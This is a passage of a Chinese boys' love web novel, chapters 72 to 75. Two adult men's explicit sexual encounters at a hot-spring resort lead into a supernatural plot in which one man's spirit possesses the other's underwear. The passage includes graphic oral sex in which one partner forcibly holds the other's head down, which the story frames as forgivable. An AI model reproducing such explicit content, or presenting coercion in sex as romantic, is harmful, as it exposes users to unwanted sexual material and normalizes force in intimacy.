纵使再亲密的事情都做过数遍了,方霁还是被他这灼热的目光盯得浑身不自在,耳尖发烫。 他率先错开视线,重心回到要事上。 他此前哪里有过这种经历,只能尽可能凭借大学时期跟室友看片的记忆,再加上自己的理解,在实践中拙劣地模仿。 当听到贺知行愈发急促的喘/息声从头顶传来,仿若得到一种肯定与鼓励,他知道贺知行是爽的,而自己是做对了。 …… 贺知行忍□□内暴虐的冲动,一只手覆上了面前之人的后颈,手指摩挲着那块敏感的皮肤。 方霁感到莫名其妙,痒得躲了一下,但最终还是没能逃离魔爪。他猜测贺知行是忍不住了,在变相地提醒他。 嘴巴已经有些泛酸。 他活了快三十年,什么时候放低姿态做过这种事情,贺知行回头要再拿着他那条破内裤自/wei,他高低得咬他两口。 反正没有性的感情他也能接受,他在这方面的需求没有贺知行那么旺盛。事实上,任何一个正常男性都不会像这家伙如此重/欲。 可能这就是憋了十一年导致的硬伤吧。 方霁一边在心底暗骂贺知行大得离谱,一边压低自己的脑袋,上半身几乎都趴在了贺知行的大腿上。 这里虽然是最后一处温泉区,还是专人专场的,但贺知行既然都能畅通无阻地进入,难保不会有其他游客走错或者工作人员突然进来,只求能够速战速决。 他还真是给自己找了个苦活。 …… 方霁的喉咙比较浅,进去三分之二时就顶上了嗓子眼,弄得他十分难受,呼吸不过来,准备吐出起身。 贺知行压在他后颈的手却突如其来地发力。 方霁瞳孔一震,发出唔唔的抗议声,贺知行仍旧不容抵抗地摁着他继续往下。 方霁抓着贺知行大腿的手指蓦然收紧,脸色涨红,涌上阵阵痛意,意识似乎都要给这一下粉碎,都忘了还能用鼻子呼吸这条途径。 贺知行暧昧地呼喊他的名字,用低沉的嗓音哄着他缩缩喉口,“牙齿,再收起来一点。” 方霁觉得自己也是有病,竟然还稀里糊涂真的照做了。 …… 贺知行松开压着他的手,方霁这才能够直身起。 满嘴的腥膻味,方霁忍着反胃感,艰难地将那部分也都咽下去。旋即响起一阵咳嗽声,眼睛都红了,好似要将五脏六腑都咳出来。 “咳……贺知行……你个混蛋……咳咳……” 贺知行见他咳得眼泪止不住地流,心疼地去给他拍背顺气,看到方霁唇角沾着的粘稠,才反应过来对方将他的东西吞了下去。 方霁好不容易缓过来,抬起手的同时带着一股子杀气,一把揽住贺知行的脖子将人拽了过来,学着对方刚才的动作,手掌压上他的颈后,几乎是报复性地在亲吻他,毫无温柔可言。 残留的液体混着口水送到了贺知行这。 “味道怎么样?”方霁放开他时唇角挑起嘲弄的笑容。 贺知行如实道:“不好。” 有点腥和咸。 方霁啧了一声:“你也知道味道不好,刚刚S进来的东西,这会估计都进到了这里,全是你的种。” 贺知行跟着他的动作,视线从他肚子上掠过,不解道:“为什么不吐掉?” 方霁像看傻子般白了他一眼:“往哪吐?附近又没有垃圾桶,我总不好往人家温泉水里面吐吧。” “再说就你刚刚摁着我不肯放开的架势,我连吐的机会都没有。”一说到这方霁就来气,明明说好了他来。 他抬手揉搓了两下酸胀的腮帮,口腔麻木,嗓子眼现在还有一种异物堵塞感。 贺知行留意到他的动作,提出帮他检查一下,方霁却如避蛇蝎地拒绝了。 “不用,还不至于那么脆弱。” 贺知行后面的动作虽然的确粗/暴了些,但还不到丧失理智,方霁没有尝到血腥味,应该是没有受伤的地方- 两人在温泉池里待了近一个小时,后面又一起进入更衣室。 方霁本来是严令禁止贺知行跟他进同一间更衣室的,除了怕被人察觉出端倪,最重要的还是两个人浑身赤/裸地共处一室,太容易擦枪走火了。 贺知行说控制不住对他的感觉,方霁又何尝不是。 “我不会再做了。” 方霁冷笑连连,道:“贺总,你是不是忘了一个小时前,你就已经留下前科,在我这毫无信任度可言了。” 其实他并没有很生气贺知行强行压着他脑袋的事,在决定帮他之前就对这种情况多少有了预料。 快感上头的时候控制不住再正常不过,他也在床上做出过类似的行为,夹着贺知行不让他走。但如果此刻态度不坚决些,那他今晚上做的那些保菊努力不都白费了? 贺知行对此哑口无言,少顷,试探性提出道:“换我帮你?” 方霁愣了愣,属实有些心动。 等真正进了更衣室他就一万个后悔了,贺知行的伺候方式与他在温泉池的压根就不是同一种! 贺知行将他翻过来面对面时,被欺骗的怒火轰然爆发。方霁张开嘴,朝着贺知行的肩膀死命咬了一口,留下一圈深红色牙印。 没让贺知行出血已经是他最后的情面。 更衣室的尽头配有淋浴间,两人又冲了个澡。出来的时候方霁腿都是软的,腿根的皮肤由于摩擦过度火辣辣的疼,令他严重怀疑这家伙又在趁机谋私。 不,不用怀疑了,这就是不争的事实。 贺知行将衣服往身上一套,又恢复那副禁欲系的人样,任谁看见他,都难以将他和不久前的过分行为联系在一起。 瞧见方霁的褪在打颤,贺知行走上前想扶他,却被方霁啪地一声拍开了手,瞪道:“不想挨揍就从我面前滚远点。” 他今后要是再相信贺知行的鬼话,他就是狗! 话落,方霁带着一肚子憋屈先走了,否则他保不准会在这做出犯法的事来。 贺知行一个人站在更衣室门口,短暂露出茫然的神情,下意识想追上去。转念一想,今晚将人气得不轻的罪魁祸首正是他,还是放弃了过去火上浇油。 恰在这时,甄均带着一瓶未开封的红酒走过来,停在贺知行身边,同他一起望着方霁的最后一抹身影消失在走廊尽头。 “你们是不是在一起了?”看似在询问,语气中却带着笃定。 贺知行没有回答这个问题。 甄均蓦地嗤笑出声,笑声中饱含讽刺与轻蔑,像寒冰击打玻璃窗,冷冽而刺耳。 从方霁带着贺知行进入温泉度假村的那一刻起,他就开始觉得不对劲,后面亲眼目睹二人亲密无间的举止,所有的猜测才得到了最终证实。 他去过一趟方霁所在的温泉区,本来是打算问方霁要不要一边泡温泉一边喝红酒的,他可以让人开封了送过来,谁知却意外撞见方霁趴在贺知行腿间的情形。 连同他们最后那个吻,他都看得一清二楚。 贺知行这厮究竟是怎么敢对方哥做那种事情的!? “所以你们也已经上……”话到嘴边戛然而止,剩下的话梗塞在喉咙里,愤怒与不甘交杂,形成一道难以逾越的心墙。 哪怕方霁不在这,他都怕那个字说出来会污了他。 甄均的手握成拳头,指关节因用力过猛而泛着病态的白,脸上肌肉抽搐,周身散发出令人窒息的压力,宛如一头蓄势待发的雄狮,随时准备扑向敌人。 贺知行知道他想说什么,依然没有正面回答,而是淡然地扫了他一眼,以一种陈述事实的口吻道:“他的左边屁股上有颗痣。” “还有,别让他失望,毕竟他很看重你这个弟弟。” 他跟甄均之间实在没什么好聊的,而这两句话已经足够回答他所有的疑惑。随后他转身离开,毫不留恋地踏出这片温泉区,留下甄均一人独自消化这些信息。 甄均下颚线绷紧,一直注视着贺知行离开的方向。 他清楚方霁是个什么样的人,如果并非他自愿的,宁可玉石俱焚,也坚决不会向人妥协。 他方哥这么好一个人,究竟看上了贺知行什么? 直至带着红酒找到方霁,他都没能想清楚这个问题,更没有立场和勇气问出口。 第73章 第 73 章 既然是度假村, 肯定少不了居住的地方。贺知行估计今晚会在这留宿,于是从温泉区离开后便径直去办理入住手续。 犹豫究竟是开一间房还是两间时,看到了方霁给他发来的消息。 【方霁:我跟甄均找了地方喝酒聊天, 今晚大概率不回家了。他给我准备了休息的地方, 你要是困了就到C区开间房,睡不惯这里的环境也可以先回去, 不用等我。】 贺知行此刻所在的位置正是度假村的C区, 阅读完毕, 打字问他在哪里喝酒,休息的房间号是多少。 方霁嘀咕了一声“醋王”, 为了让他安心,还是一一回复了他。 【方霁:在A区的休闲区, 就是泡温泉的地方往西两百米这里。订的房间也在C区, 428号。】 【方霁:你真不用紧张, 这次主要是聊天, 其次喝酒, 而且甄均带的红酒度数不高,我又不是一杯倒。】 其实真不怪贺知行在这方面如此敏感, 而是方霁的酒品……跟他这个人简直成反比例。 光是之前被他碰上的三次喝醉, 一次是睡在gay吧的沙发上,一次是在游轮上强吻他, 还有一次最危险,在车上对他进行猥/亵,差点搞出车祸登上明日新闻头条。 倘若方霁不是一个拥有自我选择权利的成年人, 社会上又有明确的法令限制, 他是真想将人绑了关在家里,直到他说再也不会去喝酒为止。 少顷, 贺知行叹了口气,回复了一个“知道了”给他,又叮嘱他注意时间和分寸,别喝过头了,但凡出现任何不舒服,都可以打电话给他,他的手机不关机。 彼时的方霁刚喝下一口红酒,看到手机界面上弹出的最新消息,点进去一看,贺知行洋洋洒洒给他发了五条过来。 每一条的内容都很简短,不到十五个字,却都是在提醒他注意这注意那,全然将他当作了一个瞒着父母偷跑出去玩耍的顽劣青少年。 方霁看着那五条并列的消息,蓦地笑了。 他并不是一个喜欢受到约束和管束的人,却不反感贺知行的每次关心,哪怕对方总是这样罗里吧嗦地说话,他其实也很难真正生出厌恶或者烦躁的情绪来。 或许贺知行的很多行为看起来显得又多余又幼稚,但他的所作所为,无一例外应了他对他说过的话。 他喜欢他。 C区的住所遵循景区的自然特色,一律采用原木风民宿,色彩简约,绿植众多,散发出来自蓬勃生命力的治愈。 贺知行本想定和方霁同一层的房间,最好离得近些,前台的工作人员却告诉他今天度假村生意火热,很多位置不错的房间都已经被订完了,只有少量较次的房间。 “三层和四层是一样的房型,就是窗外的视野有些局限。” 甄均给方霁安排的正是顶好的房间,透过卧室落地窗,即可将延绵山脉与远处晋城都市的繁华灯火尽收眼底。 不管是观赏夜晚的星空还是清晨的日出,都是一个绝佳的地方。当初在进行温泉度假村的宣传时,便有将其作为重要卖点之一写进宣传语中,成功吸引了无数游客慕名而来。 方霁周围的房间已经爆满,贺知行只好退而求其次,定了位于方霁楼下的房间,拿着房卡进入后先给手机充上电。 人一旦空闲下来,便会忍不住陷入某些记忆的漩涡,贺知行也不例外。 他回忆的内容并不遥远,而是今晚发生在温泉池边上的事。画面如同胶卷般在脑海中反复播放,每个细节都历历在目,令人心绪难平。 方霁愿意为他做到这种地步,犹如一场心心念念的梦境猝不及防照进现实,直至被对方的温热彻底裹挟住,他才有了那么一丝真切感。 此刻冷静下来,某些方面值得深思。 方霁为什么特意要求他今晚别穿内裤睡觉? 并以此作为交换条件。 还有方霁口腔里的温暖,和他此前某次在内裤上感受到的如出一辙。 他相信一条内裤不可能平白无故拥有温度,而他当初感受到的温度更高些,几乎可以排除来自他的体温。 当然,仅凭这一点,他尚且无法轻易下定论。 若是再往前追溯,逐帧分析,类似的蛛丝马迹并不少,包括他过去怀疑是幻听的咳嗽声、从内裤上传来的怪异感受、方霁几次对他表达的不满…… 这半年来他尝试寻求过原因,内裤换了不下五批,对于问题的解决仍旧无济于事。 在此期间,他同样琢磨一些规律,比如这样的情况通常发生在夜晚,尤其是幻听的出现,集中在他纾解激烈的途中或者结束时。 贺知行心底隐隐冒出一个大胆且不符合当代科学的猜测。 直觉告诉他,这件事和方霁有关- 方霁给贺知行结束口时,嘴唇表面并没有明显撕裂。 他还以为真的没有受伤,直至喝酒,酒精刺激到某块隐蔽在口腔深处内/壁上的嫩肉,传来一阵针扎似的疼痛,他才发现嘴里有一小块地方被磨/破了。 想想也是,贺知行突然摁住他后颈的那一下那么疯,后面插/得那么快,那么重,他又不是铁做的,会磨/破好像也不奇怪。 为了不让那块肉再遭罪,方霁今晚喝的红酒很少,连他平时应酬的三分之一都不到。 甄均见他后面都不怎么拿杯了,还以为是这次挑选的红酒出了问题。 “红酒变质了吗?”甄均拿了一旁的空杯子,给自己也倒了一杯,仔细品味。 “味道没问题啊,他们家一直是这样,刚入口的时候有点涩。”甄均放下杯子,“还是不合方哥你的口味?” “不是。”方霁并不知道甄均意外在温泉区撞破的事,掐去前因只留结果,道:“红酒不错,是我嘴里破了个小口而已,喝酒容易疼。” 甄均起初还没往那方面上想,目光不经意间掠过方霁那张薄而红润的嘴唇,这才露出一脸欲言又止的表情。 方霁的长相堪称造物主偏爱的艺术品,五官分明,即便素颜也自带饱满的唇色。 过往出席一些重大活动或者酒会时,几乎不需要另外化妆,用清水洗把脸,换套衣服,就能直接过去,精神面貌丝毫不输于镁光灯下的明星偶像,甚至更添一份真实与自在的风采。 方霁作为娱乐公司的老板,平日自然少不了跟娱乐圈中的人打交道,过去有些第一次线下见面的导演,误将他当作新人演员,询问他有没有接某部戏的意向,说他的长相和气质很符合要求,愿意出演的话最后收获肯定不会差,提出的报酬还挺丰厚。 但方霁不太喜欢将自己的生活暴露在大众的眼皮之下,这也是为何他微博粉丝不少,却只发工作相关的通知,从来不发自拍或者日常照片进行经营。 甄均不由得想起在温泉池看到的事,好不容易压下去的怒火有了重新窜起的架势。 虽然当时方霁的身体有绝大部分被遮挡住,令他无法完全看清,但那隐隐露出的一截肩头,赫然留着一圈牙印。 还有后面方霁剧烈的咳嗽声,都表明了他的难受。 他不是没有性/生/活的三岁小孩,一眼就看出那是如何留下的痕迹,感到心疼和愤怒。 如果方霁找的是一个异性女友,他就不说什么了,偏偏找了一个会欺辱他的男人。 他现在只要一想到方霁会在床上被那个男人折磨,心底一万个后悔没有往贺知行脸上挥一拳,打毁容都算轻的了。 方霁就坐在甄均对面,将他神情的转化尽收眼底,敏锐地觉察出不对,问:“怎么了,脸色突然这么难看,又惹事了?” “怎么会。”甄均扯出一个自我嘲弄的笑,道:“我现在已经洗心革面重新做人了,过去做的那些事连自己都觉得混账。” 方霁对此不多评价,认为甄均这段时间的转化挺大的,不知道是不是因为发生了什么重大的事情,刚想问一下缘由。 下一秒,甄均比他先开了口:“抱歉方哥,其实你们做的我都看到了。” “我原本是想进去问事的。” 方霁一怔,仅仅片刻的功夫就理清了经过,眉眼恢复平静:“没关系。” 在温泉池的时候他就预料了可能会被人不小心撞破,毕竟这里是对外开放的度假村,而非私人住所。如果只是甄均看到的话,有意外,也有庆幸。 意外的是会这么凑巧,庆幸的是甄均会为他保守这个秘密。 甄均感觉方霁冷静得不正常,小心翼翼地问:“所以你们现在……是什么关系?” 方霁认真想了想,给出一个模棱两可的回答:“不好说。” 他跟贺知行还没有定下一个明确的关系,硬要说的话,那就是“临时男朋友”,至于原因…… 这家伙没跟他提转正的事。 甄均怀疑他们两个该不会是炮友关系,准备劝说方霁,但一想到自己过去的德行,似乎没有资格将这些话说出口。 “你就真那么喜欢他?甚至都愿意做到这种地步?” 他之前的性对象里,无论哪一个,他都从没帮他们做过口的事情,相反,倒是有几个特别乖巧的主动提出帮他。 就连后面跟了裴青川,他们也没有互相口过,大多时候的流程:裴青川抽他,他艹裴青川。 他想,以裴青川那种傲得只有他能忍受的性子,大概率这辈子都不会帮人做口的事。 方霁听到他接连两个问题,大致猜到了他为什么会这么介意,心中好笑。 看来贺知行干的还真不是人事,这不,都被误会是在强/暴了。 “嗯。”方霁丝毫不避讳地坦然承认,道:“我喜欢他,做这些也是自愿的。” 网络上很流行一句话,说:两个人相处久了,会不知不觉中受到对方的影响。尤其是情侣,会变得越来越像对方。 这个“像”,自然不是指外貌,而是性格、穿衣风格、喜好等等。 放在过去,方霁认为自己不会说出这些矫情的话,更不习惯于向人解释。 “我不爱吃青菜,但我知道它富含膳食纤维和维生素,对身体好,所以我会去吃。我觉得冬天喝水很麻烦,但我知道多喝水能促进身体代谢,三天不喝水人会死,所以我还是会贴个便签提醒自己。” “我选择他,不是因为他是最好的,而是我知道,他对于我来说已经是必不可少的。” 第74章 第 74 章 贺知行去了一趟车上, 找到放在中央扶手盒中的药膏。 说起来,这支药还是上回方霁落在他车座上的,药管中还剩下一半药膏。 他拿出手机, 编辑消息。 【贺知行:你上次落了东西在我车上, 现在可以给你送过去吗?】 方霁刚用房卡刷开428的门,插上房卡后打开灯。 【方霁:行, 你送过来吧, 我回到C区的房间了。】 贺知行带着药膏去找了方霁, 摁下门铃没多久,门从里面打开。 “我什么东西落你那了?”方霁一边问一边侧过身让他进来, 最后关上了门。 贺知行将手上的药膏露出来给他看,标着商品名的那一面正好朝上, “消肿药。” 方霁:“……” 方霁不记得自己是怎么将它落在了贺知行的车上, 这款药膏某书上非常多人强推, 不会产生过强的刺激感, 所以他一次性买了很多备在家里。 发现上一支不见后没有寻找太久, 紧接着就开了新的续上。 买药的钱,他事后找了贺知行报销。 依据目前这支的扁平程度来看, 应该只用了三四次这样就丢了。 他从对方手上接过, 有些质疑贺知行究竟是来给他送药的,还是来炫耀过往战绩的。现在看到它, 就不由得联想起买它的原因。 在无声沉默了好半晌后,方霁最终还是动了动嘴皮子:“谢谢。” 贺知行没走,提出道:“我帮你上药。” 方霁主要伤在后面, 眼睛长在前面, 不能三百六十度旋转。 方霁感到麻烦,道:“我自己抹也是一样的, 几秒钟的事。” 上回在贺知行家对方帮他抹药的事,到今天还令他心有余悸。 贺知行冷不丁道:“但是你屁股和腿上那些应该不方便自己抹。” 方霁:“…………” 贺知行说的正是他今晚新添的,那些摩擦出来的痕迹。 方霁寒声道:“想怎么挨揍?我给你一个机会自己选姿势。” 贺知行:“床上骑/乘可以吗?” 方霁:“……………………” “你他妈的。” “我这次不做别的。” 两人异口同时道。 方霁手背青筋暴起,贺知行站在对面泰然自若,面无波澜。 良久,方霁深吸一口气,反复提醒自我,身为一位合格公民,应该保持文明、和谐、友善的基本素养,强行镇压住体内的暴/虐因子。 “我要先洗澡,嫌烦就立刻滚。” 从温泉区的更衣室出来之前,他在里边简单冲了个澡,但现在天气逐渐炎热起来,他这两个小时里又出了一层汗。 他有中度洁癖,受不了带着一身汗睡觉。 “我等你,上完了我再上楼。”贺知行道。 这话有歧义,什么叫“上完了再上楼”? “上完”后面的那个“药”字呢??? 方霁用铁一般的意志力封印住那股狂躁,道:“那边桌上有水,要渴了可以喝。甄均另外给我拿了一盘水果带回来,也在桌上,你爱吃不吃。” 贺知行往那边看了一眼:“好。” 方霁拿了浴袍跟毛巾利落进入浴室,贺知行则趁着这段空闲,观察了一圈房间内的程设布局。确实和前台工作人员告诉他的一样,四层与三层的屋型相同。 他走到落地窗前,前方有一棵高大的百年银杏树,绿叶葳蕤,形状似扇,遮挡住了四层以下的部分视线。 方霁一并在里面完成了刷牙、洗脸等其余洗漱才出来,抓过方才顺手放到架台上的药膏,扔给贺知行。 “来上药,速战速决,困死了。”他白天一直在上班,晚上泡温泉时其实就有些犯困。 快深夜十二点了。 贺知行稳稳接住抛过来的药膏。 房间内没有医用棉签,贺知行先到卫生间洗干净手、擦干,随后走过来。 方霁已经到床上趴下,将浴袍随性撩起至腰窝的位置,屁股以下全光溜溜地暴露在外边。他手臂压在枕头上,闭上眼睛假寐,一副完全放松的模样。 全身上下早就被看遍了,都是男人,他有的他也有。方霁在这方面并不过分矫情,甚至觉得要是罪魁祸首不做点什么补偿,反倒亏的是他。 贺知行坐在床边,一截药膏在压力的作用下从管口推挤出来,沾在食指的指腹上。 药膏是淡黄色半透明状的,散发着一股淡淡的中草药清香。 他轻轻掰/开方霁的臀/缝,先给他后面抹了上去。 方霁表现得很安静,任由他触碰,好似全身心都沉浸在自己的休息之中。 那里前两天使用过度,刚结束时红得像是鸡血石,肿起来一大圈。 爽劲消失后,方霁疼得厉害,怀疑是贺知行给他弄出血了,因为没法起身到卫生间去照镜子检查,就勒令贺知行拍照给他看。 当时贺知行拿了自己的手机给他拍照,对他说:“没出血,是你这里太窄了。” 方霁为此冲着他骂了好一会,说他“百度上搜不到,到搜狗能搜出上百页内容”,话里话外都在怒斥他自身硬件条件有问题,结果还将锅甩到他身上。 至于为什么没有动手…… 方霁倒是想,可他那会的身体情况不允许,全身上下就剩下一张嘴可以正常攻击了。 他有时候觉得喜欢上贺知行真挺辛苦的,愿意给他艹成这样也是没谁了。 贺知行听出他在生气,没有半点反驳,对于所有怒骂一律照收不误。 谁知方霁却以为他在装清高冷暴力,差点没怒火攻心当场厥过去,扔枕头砸他的时候,不仅扔偏了,还闪了腰,造成二次伤害。 事实上,他们每次结束后,不会有太多像其他情侣那样的腻歪和温存,倒是方霁骂他的画面更多。 贺知行知道方霁在床/上说的都是气话,何况方霁有一点没骂错:他到了床/上确实不是人。 屁股上的药膏抹匀了,接着是大腿的。 那里的手指印已经很淡了,此刻主要是来回摩擦留下的痕迹。 “内裤的事情……”贺知行在这时突然道,说了一半却戛然而止。 方霁的雷达敏锐地发出警报,浑身一僵,睁开了眼回过头:“什么内裤,你想说什么?” 贺知行通过他的下意识反应几乎可以笃定他一定知道些什么,面色不改:“没什么,就是想说我今晚不会穿着睡。” 方霁差点没被他的大喘气吓死,心跳落了回来,悄悄舒了一口气,身体随之放松下去。 “……今晚聊天的时候,甄均让我转问你有没有擅长或者熟悉的运动项目,他准备找个合适的时间约你比一下。” 甄均最近两年除了不干正事,别的事倒做了不少,攀登、露营、骑行、游泳、赛车等等,一件没落下。 方霁晚上听到时就猜透了甄均的真正意图,虽然认为挺幼稚的,但没提出反对。 甄均对于贺知行的误会有些多,跟他之前比起来不遑多让,而这是一个能够改善两人关系的好机会。 “要不我把他微信号推你给,你们自己联系时间?”总让他来做这个传话人的话,这俩家伙盖棺之前都说不上几句话。 贺知行回答得很快:“好。” 方霁手压麻了,换了另一只垫在下巴处,眼睛重新闭上,语气慵懒地揶揄道:“答应得这么爽快,就不怕到时候输得连条内裤都不剩?” 不过……真输成那样的话,好像是帮了他大忙。 “你希望我赢吗?”贺知行这次将药膏挤在了手心,手掌沿着大腿肌肉轻轻涂动,底下滑腻紧致的手感仿佛一块嫩豆腐。 方霁无所谓道:“这个我说了不好使,看你自己的实力。反正你俩只要不捅篓子,不进ICU,我随你们怎么比。” 最终比试的结果怎么样,他真不太在乎,因为对他而言无利也无弊,不会改变任何现状。 贺知行给他擦完药,提醒道:“药还没干,五分钟后再将衣服放下来吧。” “晚上不要一直趴着睡觉,对心脏不好。” 方霁迷迷糊糊地回了他个“嗯”。贺知行一听,知道他是真困得不行,想了想还是决定在这等一会。 确定身上的药吸收干净,给他将浴袍拉下来,将人翻了个面,顺便扯过被子给他盖在肚子上。 关了灯退出去,他走楼梯下到三层,回了自己房间的卫生间洗去手上残留的药膏- 贺知行简单洗簌完出来,看到床上那条深蓝色棉质内裤时陷入了短暂沉思。 方霁看重面子,这样的事情,如果直接开口问的话肯定不会告诉他。 就算说了,十之八九也是为了隐瞒真相的假话。 他走过去,将内裤拿起,斟酌片刻,控制着手下力道,揉弄起来…… 如果想知道这条nk跟方霁到底有没有关系,就得亲自实践将猜测落到实处。 方霁本来睡得正香。贺知行今夜不穿nk睡觉,虽然没法改变他还是会附身过来这一点,但至少不用面对贺知行的…… 然而这一觉没能顺利睡到第二日天光大亮,他是给硬生生rou/醒的。 后面不够,还要前面,他就跟坨面团似的,变化成各种形状。 这力道,要说大吧也不大,他没觉得疼,但要说小吧也不小,因为弄得他没法正常睡觉。 这是干嘛? 他不是晚上才给他口过了吗?! 在更衣室的时候也给对方磨出来了一次,按理来说不应该再做那种事了啊! 方霁百思不得其解,尤其事情最后的发展跟他想的还不太一样。贺知行就这样不厌其烦地揉了一条内裤快半个小时,其他什么都没做。 方霁被揉得实在受不了了,本来他的屁股这几天就伤痕累累,现下成功宣告抢救无效死亡。 “妈的,你再揉一个试试!”方霁骂出声,旋即在贺知行的手伸到他面前来时,嘴一张,发狠咬住了那只作恶的手指。 贺知行动作一顿,盯着手上的平角内裤皱起了眉。 他心想这事已经不能用单纯的“诡异”来形容了,一条内裤……竟然会咬人。 去报警都会转头拉进精神病医院的程度。 早就察觉出不对劲是一回事,经过实践后由结果带来的冲击又是另外一回事。贺知行做了快一分钟的心理建设,这才勉强推翻过去多年建立的科学主义。 “方霁,你能听到吗?”男人的话语如同晴天霹雳,毫无预警地在耳畔轰鸣,指名道姓。 下一秒,正值怒火中烧的方霁闻声全身一颤,整个人都石化僵住了。 房间内为之寂静,方霁先是愕然,怀疑完了听力,又怀疑上“方霁”这个名字是否对应自己。 这家伙刚刚跟谁说话? 第75章 第 75 章 翌日, 方霁从内裤上摆脱回到身体,醒来后做的第一件事:冲到贺知行所在的楼层。 等电梯太慢了。 第二件事:用手敲响贺知行的房门。 不能破坏公共财务,不能扰民。 第三件事:门打开, 快步进入屋内, 抓起床头柜上那条死内裤,从三层的窗口抛了出去。 高空抛人犯法。 啪嗒, 内裤不偏不倚正好掉在楼下的人造景观水池里, 一抹深蓝色飘在清澈透明的水面上, 格外晃眼明显。 晨起打扫卫生的大爷瞧见在空中划出的弧线,下意识抬起头, 顺着内裤抛下来的方向看过去。对方动作太快,没能成功看出是从哪层哪户抛出来的。 大爷放下手上扫帚, 转身到角落抄起竹制长棍, 将漂浮至池面中央的内裤叉了起来, 扯着嗓子冲着上头喊道:“内裤!累锅滴内裤恩要了!”(谁的内裤不要了) “都掉水里了!” 整个过程仅发生在短短两分钟内, 贺知行听到敲门声从床上爬起来打开门, 连衣服都没来得及换上,内裤就在他面前飞了出去。 方霁瞪着他, 丝毫没有扔了人内裤的愧疚感, 后槽牙都快咬碎了,道:“贺知行, 你是不是有病?!就非得折腾你那条破内裤是吧!” 之前是拿来紫薇,昨晚又拿着玩来玩去。 他早就说了,以贺知行那张米没煮熟都吃的嘴, 迟早吃出毛病来。 现在看来他还是高估了贺知行, 他有问题的不是身体,而是脑子, 十年脑血栓患者碰上他都要主动让出床位。 贺知行本来还有些犯懵,闻言这才反应过来方霁大早上冲过来找自己的原因。 昨晚摆弄那条内裤时,他几乎可以70%确定二十一世纪发生了打破科学的事件。 因为那条内裤后面骂得…… 很有个人特色。 剩下的30%,他还需要通过另一件事来验证,排除是幻听的可能性。 “抱歉。”贺知行道,认错认得比母猪上树还快。 方霁一开始还在纳闷贺知行为什么没有质问,就在他心神游移之际,贺知行走上前来,动作迅如闪电,将他放倒在了床上。 一阵天旋地转,方霁连作出反应的机会都没有,眼前还在一闪一闪冒星星。 贺知行一手压着他的肩膀,制止了一切反抗的可能性,另一只手则触到他的衣物边缘,稍一用力,扒下他的裤子。 身后一凉,方霁浑身一个激灵,心跳加速,连同嗓音也不受控制地震颤起来:“你……你要做什么!?” 他答应跟贺知行上/床,对方怎么弄他都行,但贺知行要是敢对他来强的,无论是何身份、原因,他都绝对不会善罢甘休放过此事。 贺知行连同他的内裤一块扒了下来,暴露出那对滚圆的丘峰。 昨晚上药时他就仔细留意了方霁的身体情况,而此刻他那些痕迹不仅没有淡化,反倒多出来许多新的。 或许要感谢方霁是敏感型易留印体质,身上印子虽然多了些,聚集在一起看起来触目惊心,实质上造成的影响却不大。 贺知行对此松了一口气,正要将方霁的上衣也推上去检查时,手下的人却突然暴起,挣脱后转身,改为将他压在床上。旋即双腿跨坐上来,令他无法动弹。 双方的局势和位置瞬间逆转。 方霁唇边噙着一道意味不明的笑,活动着双手,指关节发出咯咯咯的声响:“昨晚不是说喜欢骑/乘位?” 本来他没打算动手的,结果贺知行非要一而再再而三的惹怒他,是个正常人都受不了。 他要再不发泄满腔的怨气和怒火,岂不便宜了某人。 贺知行不明所以,一只手护在方霁身后,防止他一个不小心后仰掉下去。 “我这就好好满足你。”方霁打量着贺知行身上可供下手的地方。 拳头起初是冲着贺知行的脸去的,但一想到这张脸怕是全世界找不出第二个,要是毁容了的话那就亏大发了。 就算当今社会上整容技术不错,也未必能顺利整回原来的样子。此外,据全球数据显示,起码有超过一半整过容的人表示在数年后会出现后遗症。 拳头到一半改变方向,最终落在贺知行的肚子上。 贺知行眉头微蹙,疼肯定是疼的,但他清楚方霁手下留情了。 “贺总,您大人有大贵,为了全社会的智商水平,哪天抽空去医院看一下脑子吧?”方霁的嘴角微微上扬,话语如同一柄精心设计的刀刃,尖锐且刻薄。 “真查出来问题,遗产名字写我,看在相识一场的份上,我给你搞个水滴筹。” 贺知行出奇地答应得很快:“好,车和房子都给你。” 财产这种东西,生不带来死不带去的,如果能继续造福活着的人,似乎也挺好的。 方霁听到他的回答,更加确定了他脑子有病的事实。 贺知行没忘了从昨晚到现在一直想弄明白的事,已经可以笃定所见所闻并非错觉。 他觉得这是一个十分严肃的问题,要是哪天方霁再附身至内裤上,他没有注意,很容易造成受伤。 通过刚刚的观察来看,在内裤上发生的事,无一例外都会反映到方霁的身上。 “晚上为什么会变成这样?”贺知行道,希望能够了解方霁晚上发生穿物的原因。 “什么这样?”方霁昨晚听到贺知行叫他名字时,便意识到贺知行察觉出了异样,却并不打算承认,“我今天还有正事要忙,没空陪你在这继续浪费时间。” 说罢,方霁准备从贺知行身上下去。 谁知贺知行的双手却同时握住了他左右两边腿,“忙什么?” “我今天没有工作,可以去帮你。” 那双手握得很紧,方霁挣动了几下,对方不仅没松手,反倒握得更牢固,仿佛两条幽灵藤蔓,死死缠绕着他。 即便身处劣势,贺知行的双眼依旧深邃而锐利,好似轻易就能将人看穿。 方霁居高临下地看着男人,哂道:“你管我忙什么,亲人之间都还有个人隐私,就算我喜欢你,也不用将所有事情都掏家底一样告诉你。” 贺知行下定了决心要弄清这件事,道:“你身上多出来这些是怎么回事?” 上回在小别墅的卧室帮方霁上药,他看到的那些痕迹是否也和这次是一样的情况? “昨晚我帮你上的药,那时候还没有。”贺知行的手从方霁的小腿上滑至他的大腿。 尽管隔着层裤子布料,方霁仍旧起了一层鸡皮疙瘩,终于明白贺知行方才为什么一言不发地要扒他裤子。 “我后面自己弄出来的不行?” 贺知行感觉事态比他想象的还要严重,询问道:“你还有受虐或者自残的倾向?” 方霁这次往他头边的被子上砸了一拳,立刻骂道:“你他妈才有!” 既然没有,那就是假话了。 跟方霁在一起久了,贺知行大致能摸透些他的说话方式,这种时候,不应该想着让方霁直接承认,不现实。 贺知行看着身上的人,态度诚恳,语气平缓道:“如果这次是误会,我连同刚才的事一起向你郑重道歉。” “至于内裤的问题,我这段时间一直有个怀疑想要印证,决定今晚再另外试试。” 还来试!? 方霁听到他后半句,双瞳放大,差点一口气提不上来。 是不是只要他一直咬死不承认,贺知行就要这么一直试下去? 人经常睡不好觉会怎么样? 爆痘?免疫力下降? 死掉? “目前,世界上绝大部分事件都能利用合理的科学逻辑解决,但人类至今仍有些问题尚且难以解释,称为‘未解之谜’,诸如UFO、尼斯湖水怪、死亡公路等。” “我始终认为,这些谜底的背后是人类当前掌握的知识水平有限,所以导致……” 